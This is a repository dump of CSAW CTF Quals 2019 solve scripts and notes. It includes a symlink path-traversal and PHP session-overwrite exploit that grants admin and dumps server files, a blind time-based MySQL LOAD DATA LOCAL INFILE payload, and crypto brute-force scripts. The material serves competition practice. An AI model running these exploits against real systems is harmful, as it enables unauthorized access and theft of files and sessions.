"1F1F1F1F0E0E0E0E", 75 | "1F1FE0E00E0EF1F1", 76 | "1F1FFEFE0E0EFEFE", 77 | "1FE001FE0EF101FE", 78 | "1FE01FE00EF10EF1", 79 | "1FE0E01F0EF1F10E", 80 | "1FE0FE010EF1FE01", 81 | "1FFE01E00EFE01F1", 82 | "1FFE1FFE0EFE0EFE", 83 | "1FFEE0010EFEF101", 84 | "1FFEFE1F0EFEFE0E", 85 | "E00101E0F10101F1", 86 | "E0011FFEF1010EFE", 87 | "E001E001F101F101", 88 | "E001FE1FF101FE0E", 89 | "E01F01FEF10E01FE", 90 | "E01F1FE0F10E0EF1", 91 | "E01FE01FF10EF10E", 92 | "E01FFE01F10EFE01", 93 | "E0E00101F1F10101", 94 | "E0E01F1FF1F10E0E", 95 | "E0E0E0E0F1F1F1F1", 96 | "E0E0FEFEF1F1FEFE", 97 | "E0FE011FF1FE010E", 98 | "E0FE1F01F1FE0E01", 99 | "E0FEE0FEF1FEF1FE", 100 | "E0FEFEE0F1FEFEF1", 101 | "FE0101FEFE0101FE", 102 | "FE011FE0FE010EF1", 103 | "FE01E01FFE01F10E", 104 | "FE01FE01FE01FE01", 105 | "FE1F01E0FE0E01F1", 106 | "FE1F1FFEFE0E0EFE", 107 | "FE1FE001FE0EF101", 108 | "FE1FFE1FFE0EFE0E", 109 | "FEE0011FFEF1010E", 110 | "FEE01F01FEF10E01", 111 | "FEE0E0FEFEF1F1FE", 112 | "FEE0FEE0FEF1FEF1", 113 | "FEFE0101FEFE0101", 114 | "FEFE1F1FFEFE0E0E", 115 | "FEFEE0E0FEFEF1F1", 116 | "FEFEFEFEFEFEFEFE" 117 | ] 118 | 119 | 120 | # preparing bruter 121 | prep = [p for p in itertools.product(combinatory, repeat=2)] 122 | 123 | # known IV 124 | IV = '13371337' 125 | 126 | # Hashmap because offset is known 127 | known = { 128 | '09133337':'0', 129 | '09133338':'1', 130 | '09133339':'2', 131 | '09133340':'3', 132 | '09133341':'4', 133 | '09133342':'5', 134 | '09133343':'6', 135 | '09133344':'7', 136 | '09133345':'8', 137 | '09133346':'9', 138 | '09133348':'a', 139 | '09133349':'b', 140 | '09133350':'c', 141 | '09133351':'d', 142 | '09133352':'e', 143 | '09133353':'f' 144 | 145 | } 146 | 147 | def isprintable(s, codec='utf8'): 148 | try: s.decode(codec) 149 | except UnicodeDecodeError: return False 150 | else: return True 151 | 152 | # Always returns 8, because offset is known 153 | def getNibbleLength(offset): 154 | if str(offset)[0]=="9": # If first byte is '9', then increment length of input 155 | return len(str(offset))+1 156 | return len(str(offset)) # Else just return length of input 157 | 158 | def duck(aChr): 159 | try: 160 | return int(aChr) 161 | except: 162 | return "abcdef".index(aChr)+11 163 | 164 | # Encode text will have 8 blocks of output too 165 | def encodeText(plainText,offset): 166 | hexEncoded = plainText.encode("hex") # hex it again 167 | nibbleLen = getNibbleLength(offset) # Always 8 168 | output = "" # Nothing for now 169 | for i in range(0,len(hexEncoded),2): 170 | hexByte = hexEncoded[i:i+2] # club 2 bytes of hexEncoded 171 | try: 172 | output += str(duck(hexByte[0]) + offset).rjust(nibbleLen,"0") 173 | output += str(duck(hexByte[1]) + offset).rjust(nibbleLen,"0") 174 | except: 175 | continue 176 | return output 177 | 178 | # My hacky decoder ;) 179 | def decodeText(cipherText, offset): 180 | output = "" 181 | for i in range(0, len(cipherText), 8): 182 | shitByte = cipherText[i:i+8] 183 | try: 184 | output += known[shitByte] 185 | except Exception as e: 186 | print e 187 | print "Broke" 188 | continue 189 | hexDecoded = output.decode("hex") 190 | return hexDecoded 191 | 192 | # pads to make sure a block remains multiple of 8 bytes 193 | def padInput(input): 194 | bS = len(input)/8 195 | if len(input)%8 != 0: 196 | return input.ljust((bS+1)*8,"_") 197 | return input 198 | 199 | # Simple encryptor 200 | def desEncrypt(input,key): 201 | cipher = DES.new(key, DES.MODE_OFB, IV) 202 | msg = cipher.encrypt(padInput(input)) # pads input to fulfil block size 203 | return msg 204 | 205 | # Simple decryptor 206 | def desDecrypt(input, key): 207 | cipher = DES.new(key, DES.MODE_OFB, IV) 208 | msg = cipher.decrypt(input) 209 | return msg 210 | 211 | # unhex the key and saving it 212 | def createKey(hex,fileName): 213 | with open(fileName, 'wb') as f: 214 | f.write(binascii.unhexlify(hex)) 215 | 216 | # crux of the challenge 217 | def createChallenge(key1, key2): 218 | createKey(key1,"key1_test") # key should be in hex 219 | createKey(key2,"key2_test") # key should be in hex 220 | 221 | key1 = open('key1_test').read() 222 | 223 | key2 = open('key2_test').read() 224 | 225 | # Decrypt shit 226 | with open('FLAG.enc', 'r') as f1: 227 | cts = f1.readlines()[0] 228 | 229 | prefinal_ct = decodeText(cts, 9133337) 230 | final_ct = binascii.unhexlify(prefinal_ct) 231 | 232 | ct_step1 = desDecrypt(final_ct, key2) 233 | ct_step0 = desDecrypt(ct_step1, key1) 234 | 235 | if isprintable(ct_step0): 236 | print ct_step0 237 | 238 | 239 | #if "__" in ct_step0: 240 | # print ct_step0 241 | #sys.exit(0) 242 | 243 | #if 'flag' in ct_step0: 244 | # print ct_step0 245 | print "Nope" 246 | 247 | 248 | print len(prep) 249 | for i in prep: 250 | createChallenge(i[0], i[1]) 251 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/des/sample.txt: -------------------------------------------------------------------------------- 1 | Finished: 2 | flag{csaw_rocks} 3 | _______ 4 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/fault/solve.py: -------------------------------------------------------------------------------- 1 | import socketserver 2 | import random 3 | import signal 4 | import time 5 | import gmpy2 6 | from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes 7 | 8 | random.seed() 9 | 10 | lb = 1568412828.8400000 11 | st = 0.0000001 12 | # 1568412828.8534966 13 | # flag{ooo000_f4ul7y_4nd_pr3d1c74bl3_000ooo} 14 | 15 | t = time.time() 16 | 17 | 18 | def gen_prime(): 19 | base = random.getrandbits(1024) 20 | off = 0 21 | while True: 22 | if gmpy2.is_prime(base + off): 23 | break 24 | off += 1 25 | p = base + off 26 | 27 | return p, off 28 | 29 | 30 | 31 | def s2n(s): 32 | return bytes_to_long(bytearray(s, 'latin-1')) 33 | 34 | 35 | def n2s(n): 36 | return long_to_bytes(n).decode('latin-1') 37 | 38 | 39 | class RSA(object): 40 | def __init__(self): 41 | pass 42 | 43 | def generate(self, p, q, e=0x10001): 44 | self.p = p 45 | self.q = q 46 | self.N = p * q 47 | self.e = e 48 | phi = (p - 1) * (q - 1) 49 | self.d = inverse(e, phi) 50 | 51 | def encrypt(self, p): 52 | return pow(p, self.e, self.N) 53 | 54 | def decrypt(self, c): 55 | return pow(c, self.d, self.N) 56 | 57 | # ===== FUNCTIONS FOR PERSONAL TESTS, DON'T USE THEM ===== 58 | def TEST_CRT_encrypt(self, p, fun=0): 59 | ep = inverse(self.d, self.p - 1) 60 | eq = inverse(self.d, self.q - 1) 61 | qinv = inverse(self.q, self.p) 62 | c1 = pow(p, ep, self.p) 63 | c2 = pow(p, eq, self.q) ^ fun 64 | h = (qinv * (c1 - c2)) % self.p 65 | c = c2 + h * self.q 66 | return c 67 | 68 | def TEST_CRT_decrypt(self, c, fun=0): 69 | dp = inverse(self.e, self.p - 1) 70 | dq = inverse(self.e, self.q - 1) 71 | qinv = inverse(self.q, self.p) 72 | m1 = pow(c, dp, self.p) 73 | m2 = pow(c, dq, self.q) ^ fun 74 | h = (qinv * (m1 - m2)) % self.p 75 | m = m2 + h * self.q 76 | return m 77 | 78 | 79 | while True: 80 | random.seed(lb) 81 | lb2 = lb + st 82 | if lb2 == lb: 83 | lb2 = lb + 0.0000002 84 | lb = lb2 85 | r = RSA() 86 | p, x = gen_prime() 87 | q, y = gen_prime() 88 | r.generate(p, q) 89 | # print(lb) 90 | # print(p) 91 | # print(q) 92 | k = n2s(r.decrypt(int( 93 | "4FB8706DBE784D0299131BF9EBE010AE1A3B869DC327E6B78754967BFAB719FB927871DA49752D4BA2F67B278621C6882B189CE67671553CE48F08E604620171BF9E3AE53F8EB662B378889565F72666AFAD015B6781A9172F4C89F20234963DAA48A2F8AC7E234B9F5104B36ED3BAB324AC540F60E715B3D4BA93D9FD562E3E803FB996EA08ADAE7033E975024868E1CD5CEEBE450EA4D27447CCD7249922ED1B020CDBFC9902437FFE0468DE2779C9220602D3F6BD0584035813CE2D23E5E9DA795B748B4D3364C78876801265E81301D776A8A877F7D24845A610DEFA1A07BE38CB16A2C7AB814A268B5F847CD9B9D0AC2EBC32C539DA90A217F90659EAF9", 94 | 16))) 95 | if "flag{" in k: 96 | print(lb) 97 | print(k) 98 | exit() 99 | print(lb) 100 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/sassy/solve.txt: -------------------------------------------------------------------------------- 1 | Abused LOAD DATA LOCAL INFILE. 2 | Worked on it late as there were lots of challenges, and less engagers -_- 3 | Idea was to see config first, one thing stands out local-infile=TRUE & also table creation perms and write provided 4 | Double weirdness. After a lot of test, in fact there were 10-20 iterations of payload I tried. Some failed on remote, some worked on mysql cli , some failed on php -a 5 | Unsure weather there is mysqli.allow_local_infile = On is enabled on server, but looks like it is! 6 | Wasn't sure but tried, blind, basic sleep worked. with exfil. Read up documentation then. 7 | Then blind time based extraction it is. 8 | 9 | use mysql; 10 | create temporary table megatmp.temps (id text); 11 | load data local infile '/flag' into table megatmp.temps (@rip) set id = sleep(length(@rip)); 12 | 13 | flag{enterprise_mysql_servers_are_glorified_file_hosting_server} 14 | 15 | script on vps, rip me vps thrashed after ctf. Unfortunately, got flag after 3 mins of end. smh. Was halfway when ctf end :oof: 16 | prolly, after script while build a proper writeup on this. 17 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/secure-file-storage/adminsice.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | import json 4 | 5 | r = requests.Session() 6 | api="http://web.chal.csaw.io:8007/" 7 | 8 | # Register 9 | data={"username":"1gimme", "password":"justgimme"} 10 | 11 | r1 = r.post(api+"login", data=data) 12 | print r1.text 13 | print "Logged In" 14 | 15 | # Try upload file 16 | 17 | #path=1.txt&content=VTJGc2RHVmtYMTlnS2NJSmJYb1NOdVNGcUNaN2xkc0tpendLcWJpcUNYMD0%3D 18 | 19 | r1 = r.post(api+"api/v1/file/edit", data={"path":"1.txt","content":"VTJGc2RHVmtYMTlnS2NJSmJYb1NOdVNGcUNaN2xkc0tpendLcWJpcUNYMD0="}) 20 | if "ok" in r1.text: 21 | print "Uploading Phase successful" 22 | 23 | # Symlink 24 | r1 = r.post(api+"api/v1/file/symlink", data={"path":"root", "target":"../../../../"}) 25 | if "ok" in r1.text: 26 | print "Symlinked Successfully" 27 | 28 | mycookie = r.cookies.get_dict() 29 | bcmc= mycookie['PHPSESSID'] 30 | 31 | sess_id ="4umud1lupqn0mpibor27r283o1" 32 | r1 = r.post(api+"api/v1/file/symlink", data={"path":"lolz1", "target":"../../../../tmp/sess_"+sess_id}) 33 | if "ok" in r1.text: 34 | print "Symlinked Session" 35 | 36 | # Confirming symlink 37 | r1 = r.post(api+"api/v1/file/read", data={"path":"lolz1"}) 38 | if "current" in r1.text: 39 | print r1.text 40 | 41 | # Overwriting session to admin privileges 42 | #print "Trying to become admin by overwriting session" 43 | #data={'path':'lolz1','content':'current_user|O:4:"User":4:{s:8:"username";s:6:"1gimme";s:8:"password";s:60:"$2y$10$m8b4/o/YiVluA5ziNH2oD.dDBoPP.EuEb3eF9jgyjEOudOnQI3paG";s:5:"privs";s:2:"15";s:2:"id";s:1:"3";}'} 44 | #r1 = r.post(api+"api/v1/file/edit", data=data) 45 | #print r1.text 46 | print "Now you are admin, dont run script again, just use this session id for further test "+bcmc 47 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/secure-file-storage/dumper.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | import json 4 | 5 | r = requests.Session() 6 | api="http://web.chal.csaw.io:8007/" 7 | 8 | # Register 9 | data={"username":"1gimme", "password":"justgimme"} 10 | r1 = r.post(api+"register", data=data) 11 | 12 | # Login 13 | r1 = r.post(api+"login", data=data) 14 | print r1.text 15 | print "Logged In" 16 | 17 | # Try upload file 18 | 19 | #path=1.txt&content=VTJGc2RHVmtYMTlnS2NJSmJYb1NOdVNGcUNaN2xkc0tpendLcWJpcUNYMD0%3D 20 | 21 | r1 = r.post(api+"api/v1/file/edit", data={"path":"1.txt","content":"VTJGc2RHVmtYMTlnS2NJSmJYb1NOdVNGcUNaN2xkc0tpendLcWJpcUNYMD0="}) 22 | if "ok" in r1.text: 23 | print "Uploading Phase successful" 24 | 25 | # Symlink 26 | r1 = r.post(api+"api/v1/file/symlink", data={"path":"root", "target":"../../../../"}) 27 | if "ok" in r1.text: 28 | print "Symlinked Successfully" 29 | 30 | mycookie = r.cookies.get_dict() 31 | sess_id= mycookie['PHPSESSID'] 32 | print "Targeting the following: "+sess_id 33 | 34 | # symlink PHPSessID in cookies 35 | r1 = r.post(api+"api/v1/file/symlink", data={"path":"lolz1", "target":"../../../../tmp/sess_"+sess_id}) 36 | if "ok" in r1.text: 37 | print "Symlinked Session" 38 | 39 | # Confirming symlink 40 | r1 = r.post(api+"api/v1/file/read", data={"path":"lolz1"}) 41 | if "current" in r1.text: 42 | print r1.text 43 | 44 | # Overwriting session to admin privileges 45 | print "Trying to become admin by overwriting session" 46 | data={'path':'lolz1','content':'current_user|O:4:"User":4:{s:8:"username";s:6:"1gimme";s:8:"password";s:60:"$2y$10$7yTM7zCT9nqMI8bkC2XMaejyfGfP/IIijDTmQgsOlyHizP2m/eli2";s:5:"privs";s:2:"15";s:2:"id";s:2:"17";}'} 47 | r1 = r.post(api+"api/v1/file/edit", data=data) 48 | print r1.text 49 | print "Now you are admin, dont run script again, just use this session id for further test "+sess_id 50 | 51 | # Confirming that we are now admin 52 | r1 = r.post(api+"api/v1/file/read", data={"path":"lolz1"}) 53 | print r1.text 54 | 55 | # Dumping files 56 | files_to_dump = ["index.php","config.php","helpers.php","models.php","router.php","views/admin.php","views/api.php","views/auth.php","views/frontend.php","db.php","template/admin_user.php", "template/admin.php"] 57 | 58 | for f in files_to_dump: 59 | r1 = r.post(api+"api/v1/file/read",data={"path":"root/var/www/html/"+f}) 60 | xx = r1.text 61 | with open('./'+f,'w') as f: 62 | f.write(xx) 63 | f.close() 64 | print "Dumped chosen files - kek" 65 | 66 | r1 = r.post(api+"api/v1/file/list",data={"path":"root/tmp/"}) 67 | xxx = r1.text 68 | with open('./shilled','w') as f: 69 | f.write(xxx) 70 | f.close() 71 | 72 | sess_shit=["sess_0cnb82p0r2pugcsrpq1tnis250", 73 | "sess_0psrjopgi9jje0ii1e7i4cods5", 74 | "sess_22uestr6f10l6tfujsf3jiql34", 75 | "sess_2per7ja39kvb42rlbinhm52sn6", 76 | "sess_3jk49do8b47l772bq41qdje3e4", 77 | "sess_3l41393jmge28h9kc0j26c6qo2", 78 | "sess_41084jgflsgtcqod3vl72bsls6", 79 | "sess_46vl33vbbsd9l5jvuotdsghei7", 80 | "sess_4umud1lupqn0mpibor27r283o1", 81 | "sess_6vdk5kfgj7qbjim1lsc9rnc7i4", 82 | "sess_7c1gjjrin9qkepgetc6dpcma96", 83 | "sess_8b51da9vo0d6fp3ilsec38qp56", 84 | "sess_97sdehv49gg9e0gjbu2qbufbn3", 85 | "sess_9b1qk9akretiftnmgcjhstv5a5", 86 | "sess_9cgoath29nmjfb63eajeo7jrc5", 87 | "sess_aduc9st7k64mcbg1m4jt7js7d2", 88 | "sess_aslfv0e6t52vjjap0vdo9m7el6", 89 | "sess_be0jl37667p4iujr30plp9kfb4", 90 | "sess_bu50ejtoafjem6b8f5jbu3j1c5", 91 | "sess_clhhalf7jp4m2pmific2h8f253", 92 | "sess_d0knpctfljabb8mrgq867k4pg3", 93 | "sess_d43qpp388a77p1g7dobvurq8k2", 94 | "sess_dkj5vga5bpopin5d85re7nj620", 95 | "sess_en6nq9r2f0jeslfiecsvjm0hj7", 96 | "sess_ett0vl29osnibnh1v7v6bg5jh5", 97 | "sess_f9forksldvf871o6afv55ep1b5", 98 | "sess_fpuok37lhr36kp0s7lr14cb254", 99 | "sess_h40uboqe523lkc1lf8ep40bs46", 100 | "sess_ip6a43lstl12csjrivibvrdhm7", 101 | "sess_iu7091qqg485tc2jmkr2n748d2", 102 | "sess_j7k2a0iadhjesu6st2eede7q93", 103 | "sess_jn8tg2rsqno8bkb98c4a1avto4", 104 | "sess_k77q16100036kg3dqma4cbm3g0", 105 | "sess_kcribl8ma0dujq0scvmicnqqb7", 106 | "sess_l0d1gnslpu2b3efps4c8p642v1", 107 | "sess_lfa43ndpalqvp8hm3skinm1k87", 108 | "sess_ltrfaor6a14m3jmr0akfrm7ms1", 109 | "sess_mmqcs9286tcnlk04ru17flo7l2", 110 | "sess_n52mfhl3joeetnfluhlcl6f6k5", 111 | "sess_nkp9tsjrmu96uufn2gj6f1jsd3", 112 | "sess_ocnvv908bkqaf32o139e4cg341", 113 | "sess_omhr86p186fmh17dc0quhltf95", 114 | "sess_opd2m1ag5idkgtjoh8g1o932t3", 115 | "sess_or0pse2p0muvqvuotbijkotg33", 116 | "sess_p1t920kmc75kkjphkud1h5t841", 117 | "sess_ppb9rhd3np7ejamtm8sm4034f1", 118 | "sess_ps53o3c6s6hfkm8j5t67l7anl1", 119 | "sess_qch6jn0tolrf5ht64qrqc6cia7", 120 | "sess_qdckgggdr78p5sge6sasrbg1v6", 121 | "sess_r1h3lr4vv2iqpjtk9kqrn3k4k2", 122 | "sess_rjip1uagssvga74vi73e7r7pm6", 123 | "sess_rsk9drf12l03ro0roe2hrl49i2", 124 | "sess_sess_0psrjopgi9jje0ii1e7i4cods5", 125 | "sess_sess_22uestr6f10l6tfujsf3jiql34", 126 | "sess_sess_3jk49do8b47l772bq41qdje3e4", 127 | "sess_sess_4umud1lupqn0mpibor27r283o1", 128 | "sess_sess_6vdk5kfgj7qbjim1lsc9rnc7i4", 129 | "sess_sess_7c1gjjrin9qkepgetc6dpcma96", 130 | "sess_sess_aduc9st7k64mcbg1m4jt7js7d2", 131 | "sess_sess_aslfv0e6t52vjjap0vdo9m7el6", 132 | "sess_sess_be0jl37667p4iujr30plp9kfb4", 133 | "sess_sess_bu50ejtoafjem6b8f5jbu3j1c5", 134 | "sess_sess_dkj5vga5bpopin5d85re7nj620", 135 | "sess_sess_en6nq9r2f0jeslfiecsvjm0hj7", 136 | "sess_sess_ett0vl29osnibnh1v7v6bg5jh5", 137 | "sess_sess_ip6a43lstl12csjrivibvrdhm7", 138 | "sess_sess_jn8tg2rsqno8bkb98c4a1avto4", 139 | "sess_sess_l0d1gnslpu2b3efps4c8p642v1", 140 | "sess_sess_mmqcs9286tcnlk04ru17flo7l2", 141 | "sess_sess_n52mfhl3joeetnfluhlcl6f6k5", 142 | "sess_sess_ocnvv908bkqaf32o139e4cg341", 143 | "sess_sess_omhr86p186fmh17dc0quhltf95", 144 | "sess_sess_ppb9rhd3np7ejamtm8sm4034f1", 145 | "sess_sess_thdgfa1977t39as4sucjbc9r71", 146 | "sess_srjlbmcgo49v4rhr748orre9q1", 147 | "sess_t0821rn882vfofg24irip8gp00", 148 | "sess_thdgfa1977t39as4sucjbc9r71", 149 | "sess_tt04fosuntn3f9coriutsmc370", 150 | "sess_ubcp23c35krb5to80rj8i1cpt7", 151 | "sess_uqu5ngji1lrs6qg6roqn2626b3", 152 | "sess_utjfb75chp0ck706pi6k881u11", 153 | "sess_utl2i92c1fmnodl105o97c85l2", 154 | "sess_v3kerv2k07c7ci0h3l18vfcbp1", 155 | "sess_vak7ufr6lhl1isc5sosopv48c3", 156 | "sess_vjq5n9stngchue1id4bgbs2723"] 157 | 158 | for s in sess_shit: 159 | r1 = r.post(api+"api/v1/file/read",data={"path":"root/tmp/"+s}) 160 | xx = r1.text 161 | with open('./'+s,'w') as f: 162 | f.write(xx) 163 | f.close() 164 | print "Dumped session files - kek" 165 | 166 | 167 | 168 | # Now we can also 169 | # edit files 170 | #POST /api/v1/file/edit 171 | #path=root/etc/passwd&content=lulz 172 | 173 | # list dirs 174 | #POST /api/v1/file/list 175 | #path=root/ 176 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/secure-file-storage/shilled: -------------------------------------------------------------------------------- 1 | {"status":"ok","data":[".","..","phpmyadmin.tar.gz","puppeteer_dev_profile-qtl4YU","sess_0cnb82p0r2pugcsrpq1tnis250","sess_0psrjopgi9jje0ii1e7i4cods5","sess_22uestr6f10l6tfujsf3jiql34","sess_2per7ja39kvb42rlbinhm52sn6","sess_3jk49do8b47l772bq41qdje3e4","sess_3l41393jmge28h9kc0j26c6qo2","sess_41084jgflsgtcqod3vl72bsls6","sess_46vl33vbbsd9l5jvuotdsghei7","sess_4umud1lupqn0mpibor27r283o1","sess_6vdk5kfgj7qbjim1lsc9rnc7i4","sess_77142sgrini4mgh9e61atbn2b3","sess_7c1gjjrin9qkepgetc6dpcma96","sess_8b51da9vo0d6fp3ilsec38qp56","sess_97sdehv49gg9e0gjbu2qbufbn3","sess_9b1qk9akretiftnmgcjhstv5a5","sess_9cgoath29nmjfb63eajeo7jrc5","sess_aduc9st7k64mcbg1m4jt7js7d2","sess_aslfv0e6t52vjjap0vdo9m7el6","sess_be0jl37667p4iujr30plp9kfb4","sess_bu50ejtoafjem6b8f5jbu3j1c5","sess_clhhalf7jp4m2pmific2h8f253","sess_d0knpctfljabb8mrgq867k4pg3","sess_d43qpp388a77p1g7dobvurq8k2","sess_dkj5vga5bpopin5d85re7nj620","sess_en6nq9r2f0jeslfiecsvjm0hj7","sess_ett0vl29osnibnh1v7v6bg5jh5","sess_f9forksldvf871o6afv55ep1b5","sess_fpuok37lhr36kp0s7lr14cb254","sess_h40uboqe523lkc1lf8ep40bs46","sess_ip6a43lstl12csjrivibvrdhm7","sess_iu7091qqg485tc2jmkr2n748d2","sess_j7k2a0iadhjesu6st2eede7q93","sess_jn8tg2rsqno8bkb98c4a1avto4","sess_k77q16100036kg3dqma4cbm3g0","sess_kcribl8ma0dujq0scvmicnqqb7","sess_l0d1gnslpu2b3efps4c8p642v1","sess_lfa43ndpalqvp8hm3skinm1k87","sess_ltrfaor6a14m3jmr0akfrm7ms1","sess_mmqcs9286tcnlk04ru17flo7l2","sess_n52mfhl3joeetnfluhlcl6f6k5","sess_nkp9tsjrmu96uufn2gj6f1jsd3","sess_ocnvv908bkqaf32o139e4cg341","sess_omhr86p186fmh17dc0quhltf95","sess_opd2m1ag5idkgtjoh8g1o932t3","sess_or0pse2p0muvqvuotbijkotg33","sess_p1t920kmc75kkjphkud1h5t841","sess_ppb9rhd3np7ejamtm8sm4034f1","sess_ps53o3c6s6hfkm8j5t67l7anl1","sess_qch6jn0tolrf5ht64qrqc6cia7","sess_qdckgggdr78p5sge6sasrbg1v6","sess_r1h3lr4vv2iqpjtk9kqrn3k4k2","sess_rjip1uagssvga74vi73e7r7pm6","sess_rsk9drf12l03ro0roe2hrl49i2","sess_sess_0psrjopgi9jje0ii1e7i4cods5","sess_sess_22uestr6f10l6tfujsf3jiql34","sess_sess_3jk49do8b47l772bq41qdje3e4","sess_sess_4umud1lupqn0mpibor27r283o1","sess_sess_6vdk5kfgj7qbjim1lsc9rnc7i4","sess_sess_7c1gjjrin9qkepgetc6dpcma96","sess_sess_aduc9st7k64mcbg1m4jt7js7d2","sess_sess_aslfv0e6t52vjjap0vdo9m7el6","sess_sess_be0jl37667p4iujr30plp9kfb4","sess_sess_bu50ejtoafjem6b8f5jbu3j1c5","sess_sess_dkj5vga5bpopin5d85re7nj620","sess_sess_en6nq9r2f0jeslfiecsvjm0hj7","sess_sess_ett0vl29osnibnh1v7v6bg5jh5","sess_sess_ip6a43lstl12csjrivibvrdhm7","sess_sess_jn8tg2rsqno8bkb98c4a1avto4","sess_sess_l0d1gnslpu2b3efps4c8p642v1","sess_sess_mmqcs9286tcnlk04ru17flo7l2","sess_sess_n52mfhl3joeetnfluhlcl6f6k5","sess_sess_ocnvv908bkqaf32o139e4cg341","sess_sess_omhr86p186fmh17dc0quhltf95","sess_sess_ppb9rhd3np7ejamtm8sm4034f1","sess_sess_thdgfa1977t39as4sucjbc9r71","sess_srjlbmcgo49v4rhr748orre9q1","sess_t0821rn882vfofg24irip8gp00","sess_thdgfa1977t39as4sucjbc9r71","sess_tt04fosuntn3f9coriutsmc370","sess_ubcp23c35krb5to80rj8i1cpt7","sess_uqu5ngji1lrs6qg6roqn2626b3","sess_utjfb75chp0ck706pi6k881u11","sess_utl2i92c1fmnodl105o97c85l2","sess_v3kerv2k07c7ci0h3l18vfcbp1","sess_vak7ufr6lhl1isc5sosopv48c3","sess_vjq5n9stngchue1id4bgbs2723","user_data"]} 2 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/timelie/dump.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | 4 | for i in xrange(1, 1001): 5 | print "Trying "+str(i) 6 | s = requests.Session() 7 | api ="http://crypto.chal.csaw.io:1005/" 8 | filename='input.xml' 9 | up = {'file':(filename, open(filename, 'rb'), "multipart/form-data")} 10 | r = s.post(api+"musicin", files=up) 11 | oo = r.text 12 | soup = BeautifulSoup(oo, "html.parser") 13 | for a in soup.find_all('a', href=True): 14 | x= a['href'] 15 | 16 | xx= x.split('/')[2] 17 | r = s.get(api+x) 18 | with open('output_'+str(i)+'.xml','w') as f: 19 | f.write(r.text) 20 | f.close() 21 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/timelie/music_commented.py: -------------------------------------------------------------------------------- 1 | from music21 import * 2 | 3 | def combine_lunar_frequencies(a, b): 4 | ''' 5 | Thanks for this function L 6 | ''' 7 | # convert a & b to psuedo sets 8 | a.removeRedundantPitchClasses() # B_list 9 | b.removeRedundantPitchClasses() # known chords 10 | for p in range(12): 11 | if p in a.pitchClasses: 12 | if p in b.pitchClasses: 13 | b.remove(b[b.pitchClasses.index(p)]) 14 | else: 15 | b.add(pitch.Pitch(p, octave=4)) 16 | return b 17 | 18 | def launder_vc_money(hexstr): 19 | ''' 20 | converts the 3 digit hex number into a binary set of Chord's 21 | L 22 | ''' 23 | number = int(hexstr,16) 24 | c = chord.Chord() 25 | for i in range(12): 26 | if (number & 1 << i) != 0: 27 | c.add(pitch.Pitch(i, octave=4)) 28 | return c 29 | 30 | def begin_sales_presentation(list_of_chords, keystream): 31 | # add padding for launder_vc_money 32 | # len(keystream) % 3 has three possible output 0,1,2 33 | # mod can be 3, 2 or 1 34 | mod = 3 - len(keystream) % 3 35 | if mod != 0: # big brain energy 36 | keystream = ('0'*mod ) + keystream # pad no fool me 37 | if len(list_of_chords) < (len(keystream) / 3): 38 | raise ValueError("That's not long enough!") 39 | 40 | b_chords = [] 41 | # convert the hex key stream into list of binary chords 42 | for i in range(0, len(keystream), 3): 43 | key_chord = launder_vc_money(keystream[i:i+3]) 44 | b_chords.append(key_chord) 45 | 46 | # sets of list_of_chords - b_chords 47 | output= [] 48 | for i in range(len(list_of_chords)): 49 | x = combine_lunar_frequencies(b_chords[i%len(b_chords)], s[i]) 50 | output.append(x) 51 | return output 52 | 53 | def do_all_multidimensional_encryption(chord_list, key): 54 | outputPart = stream.Part(id='displayPart') 55 | outputPart.partName = 'UniversalMovements' 56 | out = begin_sales_presentation(chord_list, key) 57 | m = None 58 | for c in range(len(out)): 59 | if c%4 == 0: 60 | if m is not None: 61 | outputPart.append(m) 62 | m = stream.Measure() 63 | try: 64 | m.append(out[c]) 65 | except Exception as e: 66 | print e 67 | return outputPart 68 | 69 | def create_score(original_piece, key, new_title, output_fname): 70 | s = converter.parse(original_piece) 71 | chords = s.chordify().flat.getElementsByClass('Chord') 72 | newPart = do_all_multidimensional_encryption(chords, key) 73 | output = stream.Score() 74 | output.append(newPart) 75 | output.metadata = metadata.Metadata(title=new_title) 76 | output.metadata.composer = 'time.lie' 77 | open(output_fname, 'w+').close() 78 | output.write('musicxml', output_fname) 79 | return True 80 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/timelie/music_pumpum.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from lxml import etree 4 | from music21 import * 5 | 6 | numUniquePitches = 12 7 | numChords = (18 * 3 + 0) * 2 8 | half_numChords = int(numChords/2) 9 | fileFormat = 'xml' 10 | octave = 4 11 | 12 | def unique(l): 13 | unique_list = [] 14 | for item in l: 15 | if(item not in unique_list): 16 | unique_list.append(item) 17 | return unique_list 18 | 19 | def subList(a,b): 20 | # print(a,b) 21 | for item in b: 22 | if(item in a): 23 | a.pop(a.index(item)) 24 | return a 25 | 26 | def reverseFunction(Input,Output): 27 | bin_arr = [] 28 | for i in range(len(Output)): 29 | oItem = Output[i] 30 | iItem = Input[i%len(Input)] 31 | 32 | theData = subList(oItem,iItem) 33 | bin_arr.append(theData) 34 | return bin_arr 35 | 36 | def createM24File(numChords,chosenChord,fileName): 37 | # don't include the name 38 | s = stream.Stream() 39 | for _ in range(half_numChords): 40 | c = chord.Chord() 41 | for _ in range(numUniquePitches): 42 | p = pitch.Pitch(chosenChord,octave=octave) 43 | c.add(p) 44 | s.append(c) 45 | for _ in range(half_numChords): 46 | c = chord.Chord() 47 | for _ in range(numUniquePitches): 48 | p = pitch.Pitch(chosenChord+1,octave=octave) 49 | c.add(p) 50 | s.append(c) 51 | s.write(fileFormat,fileName+'.' + fileFormat) 52 | 53 | def getData(fileName): 54 | data = converter.parse(fileName + '.' + fileFormat).chordify().flat.getElementsByClass('Chord') 55 | data = [unique([int(pit.ps-60) for pit in item.pitches]) for item in data] 56 | data = unique(data) 57 | return data 58 | 59 | def getMetaData(outputFileName): 60 | return etree.parse(outputFileName).find('work').find('work-title').text 61 | 62 | for i in xrange(1, 200): 63 | print 